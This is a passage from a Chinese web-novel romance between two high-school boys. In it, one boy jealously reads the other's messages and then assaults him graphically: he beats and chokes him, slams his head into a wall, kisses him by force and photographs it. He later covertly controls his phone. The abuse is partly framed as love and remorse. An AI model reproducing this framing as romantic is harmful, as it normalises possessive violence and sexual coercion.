徐梦梦做不到。她做不到，但也咽不下这口气。明明郑源是个坏人，明明李华跟他是不一样的人。徐梦梦不敢明面上找他，她吃过一次亏，长了记性。就换了另外一种方式，给他发消息。
李华看到徐梦梦短信的时候已经回寝，他不想白天在学校带手机，就把手机放在了寝室的枕头下。他习惯每晚临睡前都复习一下今天学习的内容，再想想爸爸妈妈，想她们吃饭了没，水壶用着怎么样，下地有没有受伤。这时候就会翻身拿出手机，看她们曾经发过来的短信，更加坚定地维持着好好学习，努力出人头地的决心。
就在这时，他看到了来自徐梦梦的短信。
-不是答应我远离郑源了吗？怎么还跟他在一起呀！
这条短信发的早了，时间是在上午。兴许是因为中午他又跟郑源一起去食堂，让徐梦梦更加破防，她紧接着发了第二条。
-你们还一起吃饭，让我都找不了你，你怎么这样啊！生气！讨厌你！
李华叹口气，看到了第三条，也是最后一条。发来的时间是下了晚自习，徐梦梦说。
-那你明天可以陪我吃早饭吗？陪我的话我就原谅你！
李华抿了下唇，想了一下。郑源是走读，所以他不上早自习，就会第一节上课才来。徐梦梦明显跟他一样住宿，才会在学校饭堂吃早饭。
-好。
李华回复。
他关掉手机，回想起那天下午徐梦梦冲过来抱住他的一幕，有些腼腆地将脸埋了起来。这是第一个这么大胆和他亲近的女孩儿。
手机震了一下，是徐梦梦的回复。他拿出来看。对方发来一条彩信，内容是一张图片，是徐梦梦穿着兔子睡衣的自拍，背景像是在寝室，但她圆圆的眼，笑的很耀眼。
紧接着她发来短信。
-我妈妈给我买的新睡衣，好看吗？
李华认真地回。
-好看。
-嘿嘿，谢谢啦，晚安！期待明天早上和你见面！(?>ω<>
李华不知道后面的符号是什么，但看起来像小猫的爪子，还有些情绪的传神，让他感觉很可爱，笑了起来。
-晚安。
重新将手机放下，他闭着眼睛却睁开，原来这就是可爱。
他翻身平躺在床上，莫名清醒了起来。又不知道该想些什么，最终睡了过去。连他自己都没意识到，他的内心始终惴惴不安。
这一晚睡的不算好。他天刚亮就醒来了，跟没睡似的。他不想打扰同学们睡眠，又躺了会儿，听到其他人的动静，才从床上起来。同学们陆陆续续的洗漱出门。他今天额外看了下镜子，才走了出去。
徐梦梦已经在饭堂门口等着了。她期盼地看着进食堂的同学，紧张的扣着手指。她今天专门在校服里面穿了上个星期新买的衣裳，连扎头发的皮筋都是俏皮的粉红色，整个人清新亮丽，非常美好。
李华离很远就看到了她。她们隔着人群四目相对，徐梦梦红着脸朝他招手，李华加快了步伐。
“抱歉。”李华有些不好意思，“等很久了吧。”
“没有。”徐梦梦说，她一直都有在观察李华，毕竟是自己暗恋的人，知道他性子温吞慢热，不喜欢跟人挤，也不喜欢莽撞，“我也刚到。”
反正也就等了十几分钟而已。
两个人进了饭堂，徐梦梦问李华想吃什么，李华说你想吃什么。徐梦梦帮了自己那么大的忙，他要请她吃饭，而且只是一顿早餐。父母也跟他讲过不要亏欠同学，尽管他还不起这份感谢，但他会尽力满足徐梦梦的愿望。
“我早上吃的不多啦……”徐梦梦笑着说，“因为起太早了，没什么胃口，所以一份粥，一个鸡蛋就可以了。”
这也太少了。李华皱了下眉，“不会饿吗？”
“会啊，但是有零食啊。”徐梦梦朝他眨眼，“零食可比早餐好吃多了。”
李华笑笑，报了两个人的早餐，端在了位置上。
他的是一份豆浆和一个包子，却也觉得够了。
只有和郑源一起吃饭的时候才会吃的多。因为郑源会说：“你吃这么少是要干什么？怕拉屎占用学习时间吗？”
两个人都没说话，徐梦梦小心翼翼地观察他，嚼的很淑女，吃的很慢。李华没有刻意放缓跟着她的节奏，以至于他都吃完了，徐梦梦还剩半个鸡蛋。徐梦梦有些嗔怪地看他一眼，想说你怎么不多吃会儿，这个不解风情的笨蛋。李华莫名其妙被她瞪了一眼，说：“鸡蛋很咸吗？”
不然她吃的怎么这么难以下咽。
“……没有啦。”徐梦梦无奈，只能一口把鸡蛋吞了，两口喝完粥，说：“走吧。”
李华看着她后来的速度扬了下眉，由衷地夸了句，“厉害。”
徐梦梦：“……”
还不是怕他等急了！
两个人一前一后进教室，郑源的位置果然空着。早自习结束，郑源姗姗来迟。他打着哈欠，趴在桌子上，托着腮帮子看李华的背影，片刻后喊了他一声，“李华。”
李华扭过来看他，下意识皱了下眉，起身朝他走过去，“你这是怎么弄的。”
他说的是郑源的眼，眼底冒着血丝，显然一副熬大通宵的模样。
“我睡不着。”郑源烦躁地捋把头发，“我要崩溃了，这失眠时好时坏的，有时候数羊数着数着就睡了，有时候却越数越烦，烦的够够的，喏。”
他堂而皇之地拿出手机，让他看相册的界面，“昨天一晚上我直接把这游戏打通关了，厉害吧。”
这游戏机李华去他家时见过，就在客厅里放着，主机连着电视，坐在沙发上用手柄玩的。郑源提过两次让他玩，但他对游戏实在不感兴趣，震惊道：“所以你一晚上没睡？”
“对啊。”郑源叹气，委屈地告状，“看我这黑眼圈。”
李华皱着眉啧了一声，“你不能这样，这样对身体不好。”
“可是我睡不着。”郑源抱住他的腰，下巴放在他的肚子上，眼巴巴地望着他，“你还和我回家吧，行吗？我保证我什么都不干，绝对不会打扰你学习，我就想踏实睡个好觉，好不好？李华，求求你……”
看着他真挚又诚恳的双眼，李华被他磨的为难，刚抿着唇想答应，就听到女生在后面咳嗽了一声。李华下意识朝她看去，徐梦梦皱着眉，抱着膀子看着他，在郑源看过来时又瞬间低下头，佯装在写题。
郑源扭过来看着李华，“你看什么呢？”
李华收回目光看着他，避了下他的眼神，双手微微推着他，“那个……”
叮铃铃，上课铃打响，李华连忙推开他，说：“上课了。”
郑源唉声叹气地看着他逃似的回到座位上。他知道他不会那么轻易答应，毕竟一来一回不少时间，他肯定觉得又耽误学习了。但是他也真的受不了了，还是寄希望李华能发个善心可怜可怜他，而且好像快奏效了。他心情愉悦地翘起嘴角，脑
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子里已经在构思如果李华跟他回家，他在他身后一边看着他学习，一边给他捏肩的幸福模样了。
之前的分科考试模拟成绩下来了，有个男生有一科从班级二十左右直接考到了第一，连李华都被比了下去，郑源却掉到了第十。虽然综合成绩李华依然是第一，他跟男生也就差一道选择题的两分，但他也由衷地敬佩这种不吭不响的黑马。
所有人都在感叹新学神的诞生，无人谈论从高台跌下的郑少。郑源不在意成绩，只留老师们摇头叹息。
第三节课是体育课，体育老师让大家跑完步后自由活动，却找来几个看起来身体不错的男生比单杠。李华向来瘦瘦小小，这种运动轮不到他，郑源觉得无聊，也嗤之以鼻，只剩几个男生在比拼，其中就有黑马。
李华本想离开的脚步因为他停了下来，他有些好奇这个男生能做多少。
郑源挑起一边的眉毛，心底里滋生出一种不爽。这种不爽逐渐扩大，在李华认真地看着对方时，直接扩大到了最大化。
郑源双手插兜地站在他身后，说：“你觉得他能做多少个？”
李华头也不回地说，“二十个吧，已经是极限了。”
郑源冷笑一声，脱下校服外套丢给他，走到另一边单杠那里，说：“你觉得我能做多少个？”
李华想了想，“三十个？”
“太少了。”郑源说。
他微微一跳，双手握住那手腕粗细的单杠，双腿并拢，全靠上半身和中心力量，一会儿就做了十几个。他的姿势之标准让体育老师都过来夸奖，一会儿就围满了同学，郑源额角出着薄薄的汗，眼睛直直地盯着李华，李华抱着他的校服，鼻尖还能闻到那股熟悉的香气，一时心乱如麻。
“二十九！三十！”
周围一片惊呼，郑源却没有放下。他的脸很红，却衬得嘴越发的红，他科学的，有规律有节奏地喘着气，肌肉的力量透过薄薄的黑色体恤传递出来，汗水使衣服贴着他的胸膛，显露着他没有刻意锻炼的腹肌，看起来薄薄的，但很有形状。
不少女生都交头接耳地聚在一起看着他，眼神躲闪，耳尖微红，直到体育老师喊了停，亲昵地佯装在背后踹他，郑源才跳下来，做了整整四十九个，差一个没到五十。
“别猛的做这么多。”体育老师说，“小心明天胳膊抬不起来。”
“不会。”
郑源整个人都在冒着热气，只靠近他都要被蒸腾。他接过李华手里的校服，大大咧咧地揽着他的肩膀，说：“走，陪我买瓶水去。”
李华被他烤的难受，“你好热。”
他胳膊的温度甚至能透过长袖校服传递到他身体。
“刚做完能不热么。”郑源看他一眼，微微弯腰，压下声音说，“我厉害不。”
“嗯。”李华点头，“厉害。”
小卖部到了，郑源咕嘟咕嘟地喝着水，笑起来，“下次考试什么时候？”
“模拟考吗？”李华说：“很快了，这个星期五。”
郑源没再说。
晚上，徐梦梦照例邀请他第二天吃早餐。李华想了一下自己的饭卡，拒绝了。
第三天依然邀请他，还是拒绝了。
徐梦梦有些生气了，就没再联系他。
神奇的是这几天的郑源也没来打扰他，让他过了一段相当轻松的日子。
直到星期五上午考完试，下午发成绩的时候。
李华看着黑板上第一名的名字，愣了下神。
老师说：“全科满分，做的不错啊，继续保持。”
“谢谢老师。”郑源领了自己的卷子，路过李华时看他一眼，嘲笑般看了黑马同学一眼。
“继续加油啊。”
40. 第 41 章
郑源考年级第一很奇怪吗？不奇怪吧，他刚转来时的成绩就比李华低一分。这让李华更加深刻地感知到，人和人之间就是不公平的，不管其他人再怎么努力，拼搏，对于先天条件优越的人来说，也不过就是几天努努力，认认真的。他更加深刻地认识到，除却郑源的外在条件，他本人的攻击力也非常高。高到令他发指，不得不重新看待这个复杂的同学，他的恶劣跟他的优越，竟然可以成正比。
“怎么了？”郑源笑着调侃他，将自己的满分卷子叠成面包，“很惊讶吗？”
“……怎么做到的？”李华认真地问。
“很简单啊，嗐，不是，你们这些课本我早就看过，我不是跟你说了吗，我没来这儿之前也在上课，你们是在学习，我是在复习。”他耸耸肩，“我的老师是院士，你们拿什么跟我比。”
李华沉默了，他许久没有说出一句话，过了半晌才说：“那你怎么会转来这儿呢？”
“因为我小叔啊。”郑源对他向来知无不言言无不尽，“他说我已经不需要成绩了，要与人相处的经历，不能陷入那些圈子里，要发展自己的机遇。”
李华不说话了。郑源以为打击到他了，连忙找补说：“你别不开心啊，我不是故意抢你第一的，就是正好复习到了而已。”
李华摇头，他走了，又回来了，说：“我就是不明白，你是怎么学的呢？能教教我吗？为什么看起来这么游刃有余呢？”
郑源实话实说道：“没什么技巧，就是因为我姓郑，不能丢他们的人，所以必须学好，不然其他人也会嘲笑我可怜，没有爸妈管，连学习都学不好。”
李华张张嘴，又闭上。
杀人诛心，这可能已经不是学习的动力，而是恨了。
他要回到自己的座位上，郑源却眼疾手快地拉住他，“李华，我有个想法。”
上课铃打响，李华说：“下课说。”
下课，郑源迫不及待地找到他，先让他看了两条科普作息和饮食重要性的视频，才循序渐进地向他抛出橄榄枝，“你也知道我们学习都是为了考大学，说实话现在高中的课本我都已经学会了，你就是高中你也考不过我。”李华想反驳，但又知道他说的是真的，有些泄气，“你想说什么。”
“我想说，你不如搬过来跟我。”郑源小心地观察他的脸色，按耐自己内心的雀跃，“总共就那些东西，早学晚学都是学，你不如趁现在和我一起多学点，这样你以后就不会感到吃力了，你想想，考场上有一个这样的我，有十个这样的我，一百个这样的我，还有你的大学上吗？”
李华刚想张嘴，郑源瞬间打断他，“还有你舅舅，又找了新舅妈，根本顾不上你，你家，又穷，拿不出钱让你学的更多，但你在我这儿，想学什么都可以。”
李华眉头紧皱，“但是你为什么对我这么好？”
“我现在才对你好吗？我一直对你好好不好，是你不愿意啊。”郑源委屈，“你说，我是不是一直都是这么跟你说的，让你跟我在一起，你就是不听，现在又说我，你没有良心！”
李华一尬。他十分无措地假笑两下，看着郑源故作委屈的造作姿态，不忍看他，干巴巴地说，“好了，你别这样，怪……怪奇怪的。”
其实他想说瘆人。
郑源恢复正常，认真地看着他，“你考虑一下吧，过了这村没这店，李华，这么多次了，你还不同意，我以后不会再邀请你了。”
李华心里一跳。他无助地看了他一眼，躲掉了他的眼神，点点头。
在他看不见的背后，郑源双手紧握，几乎是祈求。
求求了，求求了，跟我在一起吧。
晚上回到寝室，李华心事重重，他忍不住唉声叹气，想到被摔坏的手机，想到舅妈，舅舅，想到郑源说的话，想爸妈，又想那满分卷子出来后大家艳羡的神情，他一直没察觉到分数的重量，因为那都是他的埋头苦学，他的汗水和泪水，他的坚持与拼搏，直到今天郑源和他擦肩，才猛然让他感到手里的卷子空飘飘的，轻的像阵风。
他不由得想起和郑源去看的江景。那是一片很宽阔的江，像海，听说江水最终都会流向海里。但是在他们那里，没有江，只有一条瘦长的河，饿的瘦长的狗，还有爸妈下地时瘦长的影子，那里什么都没有，只有一道被无限拉长的希望，像丝线似的缠绕在他的心尖。
他无法诉说他所看所听所见所感受到的一切，有太多事情无法用学习来解决，而他除了学习的能力，其他都一知半解。
他们那里也没有海，只有一望无际的麦地，风吹时像他幻想中的海，他以为会听到海浪拍打的声音，但只有收割机的轰鸣声和夕阳西下荡起的尘土，那才是真正的海，落地时压下明年欲长的种子。
那才是一片望不到天边的海。
他深深地将自己埋在被子里，逃避似的忽略这个话题。后两天郑源也没有追问他，他似乎不在乎李华的回答。徐梦梦看出他有压力，总是在晚上发短信开导他。第三天的时候李华主动给舅舅打了电话，还没说两句，听到电话里的舅妈说话，舅舅便说李华啊，有什么事星期天回来说啊，在学校好好学习，不要整天想着玩手机。电话挂断，李华突地笑了，他早该明白啊，那是舅舅的家，他是个外人啦，怎么还总想着有事给舅舅打电话。
被刻意压在心底的酸涩蔓延，他想哭却哭不出来。他最终同意了郑源的想法。郑源看到他小心翼翼地找到自己说可以的时候，瞬间就蹦了起来，当着全班同学的面抱住了他，李华被他勒的难受，但还是象征性地拍了拍他的背，不知道他在高兴什么，说：“麻、麻烦你了以后，你……你勒死我了，松手……”
郑源松开他，笑意盈盈的，眼睛都亮了，“太好了李华。”他忍不住想握他的手，“太好了，太好了！”
他终于能和自己住一起了，能看他学习，吃饭，甚至睡一张床了！郑源心里乐冒烟了，不停地炸烟花。
这倒搞的李华不好意思了，他红着脸说：“有这么夸张吗。”
“当然！”郑源喜气洋洋，“你不懂。”
他是不懂，也不想懂，只觉得心里压了一块儿石头，好像放下了，却又好像压的更重了。
郑源说李华住他家什么都不用带，只要人到就好了。李华觉得出于礼貌和尊重还是应该跟舅舅说一声。就在郑源的车上跟他打电话，舅舅甚至应该没听清他说什么就已经同意了，还是舅妈在电话里问了一句，哪个同学啊？靠不靠谱啊？舅舅才说肯定靠谱，放心吧，李华向来乖……李华挂了电话。郑源看着他不满意地说：“你怎么又用老手机了？新手机呢？”
李华把这事儿忽及了，他哽了一下，嗫嚅着不知道怎么回答，郑源以为他自尊又心犯了，说没事的，你想用哪个就用哪个吧。李华才长出了一口气，没想到他现在这么好说话。
虽然两个人之前睡一起过，但李华还是想有些距离，只是在郑源的软磨硬泡加卖萌可怜以及添油加醋地诉说自己惨状的前提下，李华最终同意和他睡一起。毕竟他帮自己这么多，自己却连他失眠都不想帮他治，是不是有点太过分了。
郑源哼着小曲听浴室里的水声，李华在洗澡。他故作淡定地坐在床头看书，心里却怦怦直跳，紧张的翻书的手都是颤的。这可跟以前不一样。以前他懂什么，只知道凭本能的靠近，现在他开了窍，知道这是喜欢。试问哪个人跟自己喜欢的人同床共枕不激动。他的脸越来越红，还有些娇羞，连忙下床又整理了一下自己的头发，试图凹出一个最帅的姿势。
手机响了一下，他下意识摸过来看。
李华洗完澡后直接换上了睡衣，他在镜子前擦着头发，看到镜子里的自己被雾气蒸的湿红，衬得头发更黑，睡衣下露出的锁骨更白，他有些懊恼地放好毛巾走出去，看到郑源安静地坐在床边看着他，背着光，只是看着他，没有笑，也没有说话。
“怎么了……”李华下意识顿住，又缓慢地朝他走过去，茫然地问道。
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>郑源说：“你跟徐梦梦什么关系。”
李华一顿，“没，没什么关系。”
他站在他三步开外，看着他拿起自己的手机，打开，朝他伸手，像是想递给他，“她给你发消息。”
李华嗯了一声，走过来拿手机，郑源没松手，就那么看着他，声音却越来越轻，“你跟徐梦梦到底是什么关系？”
“没什——啊！”李华猛的跪在地上，郑源一脚踹向他的膝盖，疼的他直呲牙，又被提着后衣领拉近，郑源死死地盯着他，暴虐的神情再也克制不住，分崩离析，“我再问你最后一遍，你们到底是什么关系！”
“没唔——”李华根本说不出话，郑源捂住他的脸，像是不想再看他，却又猛然松开他，摁着他的头砸向坚硬的墙面，瞬间血流涌注，李华痛哭流涕，拽着他的手挣扎，“疼！啊啊啊……”
郑源松开他，看他连滚带爬地逃出卧室，站在门口哆哆嗦嗦地输密码，叮的一声，密码解锁成功，李华一只脚刚踏出去，就被大力拽了回来，门嘭的关上，郑源把他扔在地上，李华眼前都是血，哭着后退，看不清他的脸，他听到机械的电子人声：“房门已上锁。”
郑源把他往卧室拖，李华急的咬他的手，郑源反手就是一巴掌，李华哭的撕心裂肺，他害怕，他太怕了，郑源没再说过一句话，他反锁上卧室门，把人带到床上，捏住他的脸，愤怒使他尾音发颤：“不许哭。”
他哭什么？他有什么好哭的？
陪人家吃饭的不是他吗？
聊到深更半夜的不是他吗？
答应她远离自己的不是他吗？！
他哭什么哭？他妈的有什么脸哭！！！
假的，一切都是假的，郑源手上都是血，他又扇了李华两巴掌，愣是让他止住了哭泣，原本清秀的脸颊泛起红肿，嘴角也起着血丝，他眼前的郑源堪比地狱罗刹，下一秒，他被掐住脖子，窒息感让他双腿乱蹬，他两只手掰郑源的手腕，随后感到嘴里一热，是湿滑的舌头，他愣愣地瞪着眼，郑源忘情地吻着他，含着血液和唾液，将他的口腔侵犯个遍，李华瞬间挣扎的更强烈，但他像被压在案板上的肉，郑源空出一只手忘情地抚摸他的身体，甚至想要扒下他的睡衣，李华狠狠地咬他的舌尖，郑源吃痛，回了些神智，面对他惊怒的目光，眼底闪过一丝慌乱，却很快又被愤怒取代，他收回手，扣住他后脑勺的发，在直视他的目光中，将舌头进入的更深，明目张胆地侵犯他。李华头皮发麻，却被迫仰脖，唾液从嘴角流出，窒息感越发强烈，麻木的舌头让他发出呜呜的声音，郑源不再吻他，微微抬头，舔了舔唇，看他水光嫣红又瞬间紧闭的唇舌，说：“张嘴。”
李华又开始挣扎，他涨红了脸，憋着气一句话都不说，郑源又扇了他一巴掌，把他扇的偏过头，他说：“张嘴。”
“你打死我！”李华的眼泪夺眶而出，“有种你打死我！傻逼！畜牲！王八蛋，啊——”
郑源又一次掐住了他的脖子，一只手掐，另一只手捏住他的鼻子，他下意识张嘴，所有的声音都淹没在爆裂的唇齿交缠中，李华闭着眼，痛苦地紧皱眉头，郑源就那么直勾勾地看着他，用他的手机拍下两人接吻的画面，发给徐梦梦。
李华听到咔嚓的声音，瞬间瞪大眼，脸一下就白了，猛然爆发出一股力气推开他去夺手机。郑源直接将手机扔向角落里砸的粉碎。看着李华跌跌撞撞地去角落里捡，那单薄的身影衣衫不整，郑源喊了他一声，李华一动也不动，他皱皱眉，走过去的一刹那，李华瞬间挑起来要刺伤他，他手里握着坚硬的手机碎片，离郑源的脖子只差几厘米。郑源暴怒，直接把他踹倒，一阵拳打脚踢，直到李华缩在角落里一动不动，他才停下，喘口气，捋把头发，揪着人的领子带到床上。
李华没死，还有微弱的气息，他麻木僵硬地张着嘴流着口水，郑源的舌头像生了根似的驻扎在他的口腔里，捅破他的脑髓，将他钉在床上，眼角的泪是身体里的最后一滴血，他指尖微动，闭上了眼。
41. 第 42 章
“忌油忌辣，不要吃海鲜和发物，要饮食清淡，这是注意事项单，有什么事情再联系我，那我就先离开了郑少爷……”
郑源挥挥手，医生走后，他看着床上的李华。他双目紧闭，脸色苍白，头上缝了几针，现在包了起来，脸颊红肿，嘴唇也破了皮，还有其他磕磕碰碰的额外伤，看起来甚是可怜。郑源心中烦闷，起身吐了口浊气，面色难看的离开。
天亮了，他一夜没睡，眼底乌黑，没有哪一刻比现在更痛恨自己的好记性，那满心的欢喜与期待都在翻了李华和徐梦梦的来往短信后浇的一干二净。最让他无法释怀的便是那句：你不是答应我远离他吗？
为什么？郑源不明白，他眼底泛红，现在想起来还是委屈，他抬头使劲眨了眨眼。他对李华那么好，再没有那么好了，人家都当他是少爷，他只当李华的孙子，绕是之前犯过错，但他已经在努力改了，为什么就能这么轻而易举的答应别人远离他？他到底做错了什么？真这么讨厌他又为什么愿意试着原谅他给他希望呢？干脆一恨到底不完了吗？
郑源打了他，但他自己也没好到哪儿去。看着李华不理自己难受，看着他跟别人玩也难受，看到他躺在床上一动不动更难受！郑源蹲下来抱着头，目光呆滞，他不知道该怎么办，他想起李华那绝望的目光就害怕，那里面有难过、委屈、不解、愤怒、和恨。或者说在巴掌抬起的瞬间有害怕，在两人接吻后还有恶心。
李华恶心他，恶心到全身颤抖、发麻。
郑源下意识摸自己的唇，柔软的，温热的，仿佛还留有他的温度。他的口腔那么小，自己稍微一伸舌头就撑满了，他情不自禁地往更深的地方探索，被蠕动的喉咙吸引，他像恐怖的毒蛇往李华最脆弱的地方钻，钻的李华心口疼，那是一个爆裂不带有温柔和情欲，充满暴力与占有的吻，是郑源扒下皮囊又重新长出的血肉。
郑源深吸一口气，再次进卧室去看他，却发现他脸颊赤红，紧皱着眉，神情痛苦难受，额角还有薄薄的汗。他神色一紧，连忙摸他的额头，烫的吓人。他慌了一瞬，赶忙打电话叫医生回来，又去弄湿毛巾给他物理降温。李华嘴唇干燥，半昏迷地喃喃着渴，这是烧的体内没了水分。郑源又去弄杯温水过来喂他，李华半靠着他的肩膀，听不进他说的话，郑源艰难焦躁地哄着他：“李华乖，喝水来，张嘴，啊……”
李华不为所动，他像是完全失去了意识，单薄的身躯顺着郑源的胳膊就歪了下去，郑源瞬间脸色惨白。心中的惊慌让他呼吸颤抖，他来回踱步，片刻后自己喝了水嘴对嘴给他喂过去，就这也不行，水顺着李华的唇角流了出来，郑源才真正的意识到问题的严重性：李华完全没了意识，不会咽。
郑源的腿都在发软，他等不及了，抱起李华就要出门，恰赶上医生火急火燎地回来，一看李华就知道状态不对，连忙给他开车，两人飞速到了医院。医生就是这个医院的。
这是郑玉安、郑源，准确的说是郑家人的定点医院，楼有一部分都是他们盖的。总投资人是一个常年做医药及医疗器材生意的外国人，这是他在中国的实验据点，用的都是一等一的最新产品。
郑源坐在走廊上捂着脸，眼泪顺着指缝流向手腕。他从没有为什么事感到后悔，但此时此刻他真希望李华手机响的刹那，他没有去看就好了，就那么被蒙在鼓里就好了，不会感到生气，伤心和失望，也不会动手打他。
“郑少爷。”医生出来说，“患者情况已基本稳定，就是恢复速度较慢，可能会出现反复高烧的情况，需要多加注意，没其他问题。”
“为什么恢复速度慢？”郑源站起来，反复高烧，那还不把人烧傻了？他双目很红，让医生顿了一秒，“他应该是从小身体就不太好，各项指标都很低，而且缺铁性贫血，自身免疫力较低，就容易被病毒、细菌感染。日常生活中需要格外注意，避免情绪波动，均衡饮食，睡眠规律等。”
所以他在同龄人中也偏瘦小。
医生走后，郑源没敢进病房，他不忍心看到李华那张脸。护士还很贴心地给了他科普手册，其中一项就有缺铁性贫血的解析。李华最为符合的就应该是在他母亲怀他时，辅助饮食没跟上，后续营养也没跟上。所以李华体力不太好，运动是弱项，还容易生病。
郑源反反复复将那一张科普看来看去，他过目不忘，几乎看两遍就已经会背了。他站起身将它扔进垃圾桶，进了病房。
李华是醒的。在病房门推开的瞬间，他扎针的指尖微动，却没有睁眼，眼皮和睫毛又畏惧的抖动。郑源站在他身侧沉默，仰头看了看输水的挂瓶，一句话都没说。片刻后，他低声说：“你饿吗？你想吃什么。”
李华一看到他就害怕，一听到他说话就想藏起来，他眼角湿润，想哭，郑源抬起手，又放下，“医生让清淡饮食，喝个粥吧，有胃口吗？”
李华是平躺着的，但依旧别过脸，拒绝和逃避的态度很明显。
郑源阴沉沉地看着他，像头没有生气的狼，他站起身，离开了。
李华咽口唾沫，微微睁开眼，身上还疼着，舌根也疼着。他头脑昏沉，却睡了太长时间，他出神地望了会儿窗帘，闭上眼。
他不敢想徐梦梦收到照片。
他不能想，一想这些事就想到郑源对他做的事，打他，又把他压在床上亲他，一幕幕都鲜艳的显眼，他的心极速地跳了两下，呼吸也错了些，身上的疼痛越发明显，意识就越清醒深刻，这太出格，太叛逆，简直离经叛道，匪夷所思。他试图稳定自己的呼吸，将这一切都赶出大脑，让思绪保持一片空白，几乎是强迫自己沉睡。
郑源出了病房就去找保姆做饭，要求严格按照医嘱。他还给两人都请了假，又买了部手机插李华的卡，怕他舅舅联系他。手机开机后他将手机联系人上的徐梦梦拉黑，盯着她的名字看了片刻，又把她拉了出来。
粥送到医院，李华想装睡也装睡不了。他沉默地靠着床头，不看他，也不说话。郑源也不知道说什么。但他很有自知之明地知道李华不想看见自己。看眼他身上的伤，郑源很快别开眼，他也不想看第二眼。一种尴尬又令人窒息的死寂在两人之间蔓延。最先受不了的是郑源。他站起身走了出去，没再回来。李华就见了他找的保姆，专门来病房守着他的一个阿姨。从那以后郑源没再出现过，直到他的烧退了，也没再提出回家。这对李华是件轻松的事，不用面对他，自己的胃口都好了一些。但有些事终究不可避免，他主动让阿姨找到郑源，说自己想见他一面。
郑源很快就来了。没来病房的这些天不代表他没来医院。只是一直在外面守着，没进来而已。听到李华想见他，他第一个反应是开心，随即就拉下脸，他又不傻，怎么可能不知道他为什么找自己。果不其然，他刚进门，李华就迫不及待地说：“你别打她。”
这个她是谁众所皆知。
郑源的手都还放在门把手上，甚至只进了半个脚，就停下没再向前。他心里刺痛，哦了一声，依然嘴毒：“不可能。”他报复似的泄愤，语气恶毒：“你不是说你们没关系么？那你这么在乎她干什么？”你喜欢她吧？她也喜欢你。你俩——后续的话他没说，说了只感觉自取其辱。
他摔门出去，靠在墙上心酸。李华要是这么关心他就好了，他从来都没关心过他！不对，也关心过，他在意他为什么没睡好……郑源又蹲了下来，他总是天真愚蠢的抓住这细小地温柔与善意，关心和慰问，以此证明自己也是有人
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在意的，或者说喜欢的人也是在乎他的。
他这几天都没合过眼。他睡不着，干脆不睡了。以前的暴躁痛苦现在反而平静了。他将自己锁在家里，坐在沙发上打游戏，打的两眼干涩，不知疲倦，甚至有一瞬间的晕眩和失聪。医院打电话说李华可以出院了，他给两个人请的一个星期的假也到期了，直接让胡建国把李华送回学校了。
他不想看见自己，自己也不想看见他。看见他说什么？四目相对还是听他为徐梦梦求情？郑源才不要干丢人的事情。
李华同样夜不能寐。那晚发生的一切是他的噩梦，甚至让他在黑夜里惊醒。反复无常的郑源比魔鬼还可怕，王玉代说的没错，他真的是天真又愚蠢才相信郑源不会打他，他不仅说话不算话，而且恶毒的疯狂。他每当想起那天拍的照片发在徐梦梦的手机上，他都气愤的握着拳头，恨不得要回血。他甚至一瞬间恨的不像他，他想：你怎么不去死，郑源，你死了就好了，你去死去死去死啊啊啊！！！
死了就没人再折磨他了，没人再逼迫他了，也没人再殴打他，甚至强吻他，让他变得人不人鬼不鬼。
从始至终都是压迫，没有好转，从始至终都是霉运，没有好运。
李华的毅力也摇摇欲坠，一个人要在多少次挫折痛苦与磨难前爬起来才算是勇敢？是勇士？是拥有百折不挠的不屈精神？李华握着手机碎片的一刹那是真的抱着同归于尽的想法。但他还是手软了，在敬畏的生命前后退了，才偏离了他的脖子，没有刺伤他。
李华再一次接受了命运的安排，以一种破罐破摔又决绝的心态，他预想好了一切。面对女孩儿陌生又避之不及甚至有可能是恶心厌恶的目光，他都有心理准备且坦然接受。无论发生什么，他都要在这里生存下去，因为爸爸妈妈是他最后的后盾，就算是爬，他也要从这里爬回家。
他去了教室，同学们的议论声一瞬间戛然而止，李华的脸白了一些，紧接着是无数的窃窃私语。像千万个蜈蚣在他耳边攀爬，声音还越来越大。他脸上的伤还没好全，脸色也难看到极致，让他的面无表情看起来有些狰狞。
“李华……？”徐梦梦小跑进教室，“你……”她担心心疼地看着他脸上的伤，“你没事吧？”
李华嘴里泛苦，摇摇头。
徐梦梦长出一口气，回到座位上塞给他一个东西，李华知道是手机，有些错愕和惊讶地抬头看她，“你……”
他的声音很哑。徐梦梦面对他的目光眼神躲闪，“还算快吧。”
“……”李华低头说，“谢谢。”
“客气什么。”徐梦梦笑，又抱怨道：“话说你最近好久都没理我，我给你发的短信你没看到吗？”
“什么？”李华不明白，徐梦梦还想再说，却上了课。
李华将手机收起来，却摸到书包里好像还有一个手机。他疑惑地拿出来看，还真是第二部手机，他抿了抿唇，将手机放进裤子里，举手示意想去厕所，老师批准。他便快步走进男厕，将手机打开看，点进短信一栏，果然有徐梦梦发的短信，快一百条，都是关心他的，问他为什么请假了，生病了吗，还分享了一些日常、自拍，还说自己答应她看电影，什么时候兑现，每一条都显示已读，但都不是李华已读的。
他回到教室，没听到老师这一节课讲的什么。下了课，他主动找到徐梦梦，抿了抿唇才有勇气问出来：“你……有没有收到一张照片。”
“什么照片？”徐梦梦茫然地瞪大眼，随即开心起来：“你发照片给我啦？！”又困惑：“可是没有诶，什么照片呀？”她看起来很后悔又很期待，“我怎么会没收到呢，你快告诉我什么照片！”
“没。”李华摇头，落荒而逃。
42.第 43 章
郑源失踪了，字面意思的失踪，在李华忍不住防备他出现对自己有新的折磨时，他一天没来，两天没来，整整一个星期都没来学校。让李华第一天抱着同归于尽、勇敢赴死的心，到第二天提心吊胆的紧张不安，第三天有些莫名但依旧警惕，以至于第七天疑问庆幸的同时又好奇，还深想了两个人的关系。
他始终是有点愚钝且心大的，他早该想到郑源对他的不一般，但两个男孩儿之间，倒不是他不愿意想，而是他根本想不到。让一个几乎没怎么见过世面的农村小孩儿上来就直面这么出格的情感关系，实在是太难为他了。因此，他虽隐约察觉到了什么，却无法进行更深一步的分析，而是浅尝辄止，知道不能再继续发展下去就对了，更何况这对他而言无外乎就是一种压迫和侵占，无论是暴力，还是暴力性亲吻。
经此一战，他沉默寡言的样子看起来比往日更加内敛孤僻，让徐梦梦都不太敢靠近。
郑源在学校里没什么朋友，他冷漠又鄙夷的眼神刺伤了很多人，以前有个王玉代跟着他跑前跑后，在被他无数次的压迫后也奋起反击，向他这个黑恶势力说了no，还组建了自己的新圈子，现在和其他男生打的火热。也就是在此刻，李华才意识到，自己甚至没有机会打听或者从别人嘴里旁听他的动向。他说不了自己是什么心理，却在班主任上完课离开时，向他询问为什么郑源一直没来学校。
班主任讲，他生病了，请了病假。
